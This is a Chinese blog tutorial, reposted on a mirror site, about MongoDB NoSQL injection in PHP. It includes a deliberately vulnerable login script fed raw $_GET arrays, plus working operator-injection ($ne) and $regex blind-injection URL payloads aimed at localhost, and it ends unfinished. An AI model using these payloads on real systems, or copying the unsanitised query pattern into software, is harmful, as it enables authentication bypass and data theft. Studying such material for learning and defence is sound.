zoukankan      html  css  js  c++  java
  • [NoSql注入] MongoDB学习

    0x00 安装

    下载:http://dl.mongodb.org/dl/win32/x86_64

    安装:http://www.runoob.com/mongodb/mongodb-window-install.html

    0x01 MongoDB语法

    我们先学习下MongoDB的使用,知己知彼,方能百战百胜,只有了解了对方,才能找寻弱点,一击击破

    下面都是以PHP为例

    数据库操作基本是增删改查,MongoDB的增删改查怎么个不是SQL呢,下面我们来看一下

    <?php
     
    $mongo = new mongoclient();// 连接默认主机和端口为:mongodb://localhost:27017
     
    $db = $mongo->security; //选择数据库
     
    $coll = $db->users; //选择集合(表)
     
    $coll->save({'id':1,'name':'admin','passwd':'admin'});    //增,新增id=1,name=admin,passwd=admin的数据

    $coll->insert({'id':1,'name':'admin','passwd':'admin'});//增,这个也是增
    $coll->find({'id':1}); //查,查询id=1的数据 

    $coll->remove({'id':1}); //减,删除id=1的数据

    $coll->update({'id':1},{'name':'superadmin'}); //改,将id=1的name改为supername

    ?>

     大家通过上面应该可以察觉到数据传输是通过json承载的

    说明:JSON 是一种轻量级的数据交换格式。它基于 ECMAScript 的一个子集,采用完全独立于编程语言的文本格式来存储和表示数据。简洁和清晰的层次结构使得 JSON 成为理想的数据交换语言,它易于人阅读和编写,同时也易于机器解析和生成,并能有效地提升网络传输效率。如:{"firstName": "Brett", "lastName": "McLaughlin"}

    还有一种执行的方法,是直接执行字符串的

    <?php
     
    $mongo = new mongoclient();// 连接默认主机和端口为:mongodb://localhost:27017
     
    $db = $mongo->security; //选择数据库(表)
     
    $query = "db.users.save({'id':1})";    //增
    $query = "db.users.insert({'id':1})"; //增
    $query = "db.users.find({'id':1})"; //查 

    $query = "db.users.remove({'id':1})"; //减

    $query = "db.users.update({'id':1},{'name','superadmin'})"; 改

    $result = $db->execute($query);

    ?>

     上面都是连接users表进行操作的。db.users.find({'id':1})这种其实是js的语句,最后通过execute($sql)执行sql操作,execute其实就是执行js语句

    针对上面两种执行方式,有不同的注入攻击方式。

    0x02 注入攻击

    针对上面两种执行方式,分类两种攻击方式:操作符注入、字符串注入 ,详细介绍下注入原理前,先补充知识

    比较条件操作符

    "$lt", "$lte", "$gt", "$gte", "$ne"
    对应于:"<","<=",">",">=","!="
    

    正则操作符

    $regex
    

    实际运用

    db.items.find({"name" :"admin", "password" : {$ne : "1"}})
    #查询name=admin及password不等以1的数据
    相当于SQL语句:select * from item where name='admin' and password != 1;

    db.items.find({"name" :{'$regex':"^a"}})
    #查询正则匹配字母a开头的数据

    操作符注入

    测试代码

    <?php
     
    $mongo = new mongoclient();// 连接默认主机和端口为:mongodb://localhost:27017
     
    $db = $mongo->security; //选择数据库
     
    $coll = $db->users; //选择集合(表)
    
    $username = $_GET['username'];
    $password = $_GET['password'];
    
    $data = array(
        'username' => $username,
        'password' => $password
        );
    echo 'data_array->'.$data.PHP_EOL; $coll->find($data); //查,查询id=1的数据 $count = $coll->count(); if($count > 0){ foreach($data as $key => $value){ echo $key.'->'.$value.PHP_EOL; } }else{ echo 'NOT FIND.'; } ?>

     传入数据?username=test&password=test

    输出:username->test password->test

    传入的url为:

    http://127.0.0.1/mongodb.php?username=test&password=test

    执行了语句:

    db.users.find({'username':'test','password':'test'});
    

     如果传入参数如下:

    http://127.0.0.1/mongodb.php?username[xxx]=test&password=test

    则$username就变成了个数组了,我们可以做下试验

    <?php
     
    $username = $_GET['username'];
    $password = $_GET['password'];
    
    $data = array(
        'username' => $username,
        'password' => $password
        );
     
    foreach($data as $user => $value){
        echo $user."->".$value.PHP_EOL;
            
    }
    
    ?>
    

    传入:http://127.0.0.1/mongodb.php?username[xxx]=test&password=test

    输出:username->Array password->test

    可以看出$username变成数组了

     数组相当于:

    $data = array(
    'username'=>array('xxx'=>'test'),
    'password'=>'test');
    
    -->
    
    $data={'username':{'xxx':'test'},'password':'test'}
    

     这样MongoDB最后执行如下语句:

    db.users.find({'username':{'xxx':'test'},'password':'test'});
    

     利用此特性我们可以注入操作符("$lt", "$lte", "$gt", "$gte", "$ne"),完成一些意料之外的操作了

    eg:http://127.0.0.1/mongodb.php?username[$ne]=test&password[$ne]=test

    这样就可以查询到出test/test的账号密码了

    上面传入的参数,相当于执行的MongoDB语句:

    db.users.find({'username':{'$ne':'test'},'password':{'$ne':'test'}});
    

     相当于sql语句:

    select * from users where usrname != 'test' and password != 'test';
    

    上面的例子是有回显的,那如果没有回显呢,我们传统SQL注入的这种情况就是盲注了,NoSql是否也有呢?有的。

    利用上面介绍的正则操作符$regex

    eg:http://127.0.0.1/mongodb.php?username[$regex]=^a&password[$regex]=^b

    上面传入的参数,相当于执行的MongoDB语句:

    db.users.find({'username':{'$regex':'^a'},'password':{'$regex':'^b'}});
    

     意思是查询username以字符a开头及password以字符b开头的数据。^o^

    字符串注入

    这个就是利用execute方法执行js写的查询

    【未完待续】

  • 相关阅读:
    L1-009. N个数求和
    L1-008. 求整数段和
    L1-007. 念数字
    L1-006. 连续因子
    L1-005. 考试座位号
    L1-003. 个位数统计
    mtk preloader学习笔记
    android kernel启动学习笔记
    android MTK平台编译UBOOT学习笔记
    dota2输入法无候选框?
  • 原文地址:https://www.cnblogs.com/alummox/p/9665592.html
Copyright © 2011-2022 走看看